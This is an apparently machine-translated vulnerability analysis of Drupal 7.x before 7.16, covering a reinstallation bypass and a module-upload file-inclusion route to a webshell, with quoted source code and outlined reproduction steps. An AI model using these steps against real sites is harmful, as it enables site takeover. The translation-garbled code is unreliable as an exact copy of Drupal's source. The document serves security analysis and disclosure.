Recently, the sebug reported that Drupal7.x has a PHP code execution vulnerability, but no one has analyzed it, so I had to write down the source code myself. I learned the cause of the vulnerability from the blog of the security researcher on the official website. I feel that this issue is a bit of a title. This vulnerability is just a reinstallation vulnerability. As for PHP code execution, still in the fantasy stage. An unexpected result in this process is that there is a file inclusion problem in the background where the plug-in is installed. You can construct any content plug-in for installation to obtain webshell, you can barely execute the code (first drop the title party's hat ).
0 × 01 vulnerability description
In versions 7. x earlier than Drupal 7.16, attackers can reinstall the system. By using this vulnerability, attackers can modify the database connected to the system as their own database. Drupal vendors have released security bulletins on this issue, numbered SA-CORE-2012-003.
Drupal system installation plug-in module, there is a file inclusion problem, attackers can use this problem, you can have the permission to install plug-in, users can upload their own modified malicious plug-in for installation and execution.
0 × 02 Vulnerability Analysis
1. Reproduce Installation Problems
In the install. php installation file of 7.x versions earlier than Drupal 7.16, it verifies whether the system needs to reinstall the logic. As a result, attackers can try to bypass verification and reinstall the system.
Follow the install. php Execution Process. The general process is to import and install the core file install. core. inc and execute the install_drupal function. The key code of the install_drupal function is as follows:
| 01 |
Function install_drupal ($ settings = array ()){ |
| 02 |
Global $ install_state; |
| 03 |
// Initialize the installation state with the settings that were passed in, |
| 04 |
// As well as a boolean indicating whether or not this is an interactive |
| 06 |
$ Interactive = empty ($ settings ); |
| 07 |
$ Install_state = $ settings + array ('interactive '=> $ interactive) + install_state_defaults (); |
| 09 |
// Begin the page request. This adds information about the current state |
| 10 |
// The Drupal installation to the passed-in array. |
| 11 |
[Color = # ff0000] install_begin_request ($ install_state); [/color] |
| 12 |
// Based on the installation state, run the remaining tasks for this page |
| 13 |
// Request, and collect any output. |
| 14 |
$ Output = install_run_tasks ($ install_state ); |
The red statement in the code is used to determine whether the installation is required. It calls the install_begin_request function and continues tracking this function. The key code is as follows:
| 01 |
Function install_begin_request (& $ install_state ){ |
| 03 |
$ Install_state ['settings _ verified '] = install_verify_settings (); |
| 04 |
If ($ install_state ['settings _ verified ']) { |
| 05 |
// Initialize the database system. Note that the connection |
| 06 |
// Won't be initialized until it is actually requested. |
| 07 |
Require_once DRUPAL_ROOT. '/regiondes/database. inc '; |
| 09 |
// Verify the last completed task in the database, if there is one. |
| 10 |
[Color = # ff0000] $ task = install_verify_completed_task (); [/color] |
The red code is the part of the verification execution, that is, the install_verify_settings () function plays a decisive role in the verification. The code of this function is as follows:
| 01 |
Function install_verify_settings (){ |
| 04 |
// Verify existing settings (if any ). |
| 05 |
If (! Empty ($ databases) & install_verify_pdo ()){ |
| 06 |
$ Database = $ databases ['default'] ['default']; |
| 07 |
Drupal_static_reset ('conf _ path '); |
| 08 |
$ Settings_file = './'. conf_path (FALSE). '/settings. php '; |
| 09 |
[Color = # ff0000] $ errors = install_database_errors ($ database, $ settings_file); [/color] |
| 10 |
If (empty ($ errors )){ |
It can be seen from the code that this function is only based on whether the database operation is normal. If the function is normal, it does not need to be re-installed. If an error occurs, it can be re-installed.
The function of the red code in the install_verify_settings () function is to execute a series of database operations to determine whether the database is normal. In these database operations, it creates a table named drupal_install_test and tries to perform insert, update, delete, and other operations on the table.
To sum up, if you want to bypass verification, you can use install_verify_settings () to make the database operation error. A researcher from the official Drupal security team posted a blog that suggested a method to bypass: Use "create table drupal_install_test (id int NULL ); "statement to create a data table with the same name as the table used during the test. In this way, the database operation fails during verification, so as to bypass verification. However, during my local experiment, I found that this method does not work. Although the verification can be bypassed, an error message will appear when I submit new database information, as shown in:
The system will prompt you to create a temporary table with a conflict. I am puzzled by this problem. When tracking the form code, you can confirm that the database information at runtime has been updated to the new database information. However, this temporary table will be created in the original database. I have not thought of the answer to this question for the time being. I will try again later.
I reproduce this vulnerability myself by deleting the original database and then successfully re-installing the system. This method can be successful, but the method I mentioned above has encountered an error. It feels weird and I don't know where the problem is.
2. File Inclusion Problems
The drupal_load function in the \ mongodes \ bootstrap. inc file will include the module code to be executed into the webserver process. The drupal_load code is as follows:
| 01 |
Function drupal_load ($ type, $ name ){ |
| 02 |
// Once a file is wrongly ded this can't be reversed during a request so do not |
| 03 |
// Use drupal_static () here. |
| 04 |
Static $ files = array (); |
| 06 |
If (isset ($ files [$ type] [$ name]) { |
| 10 |
$ Filename = drupal_get_filename ($ type, $ name ); |
| 13 |
Include_once DRUPAL_ROOT. '/'. $ filename; |
| 14 |
$ Files [$ type] [$ name] = TRUE; |
The red code is the problematic code. Drupal should be developed as a feature. However, the module installation method allows users to upload the installation content. As a result, you can control the module to load the content and execute your php code.
The method I use to reproduce this problem is simple. I just need to download a module that matches the corresponding version from the official website and decompress it locally, modify the file with the suffix "module" to the php code you want to execute, and then package and upload it to the target site for installation. After the installation is complete, you only need to access this module to execute our code.
0 × 03 vulnerability Reproduction
1. Reproduce Installation Problems
2. File Inclusion Problems
A wysiwyg plug-in is randomly downloaded from the official website.
Modify the content of the module File.
Repackage the modified folder
Upload and install it to the target site
Successfully executed content
0 × 04 vulnerability Summary
1. to reinstall the database, you must obtain the database operation permission (not necessarily root. If you obtain the username and password of the database administrator and set the database to allow external connections, or the injection vulnerability exists somewhere in the program.
2. For file inclusion problems, you must have the background administrator privilege. You can combine other vulnerabilities, such as the reinstallation issue mentioned in this article.
3. these two problems are harmful and have a large impact scope. drupal is a popular cms system at home and abroad. There are many users. If the database connection information is leaked or the SQL Injection problem occurs, attackers can directly obtain webshells.
4. when tracking these two vulnerabilities, it seems interesting that cms has only a limited number of PHP files, and most of the code files are suffixed with inc, during execution, you only need to include the content into the PHP file for execution.
0 × 05 protection suggestions
1. Reproduce the installation problem, Drupal official has been fixed for this problem, you can go to the official website to download the latest version 7.16,: http://drupal.org/download
2. file Inclusion is not a good solution. I personally suggest disabling the plug-in installation module. If you need to install the plug-in, you can copy the local file to install the plug-in folder to the installation path, you can also install the plug-in.
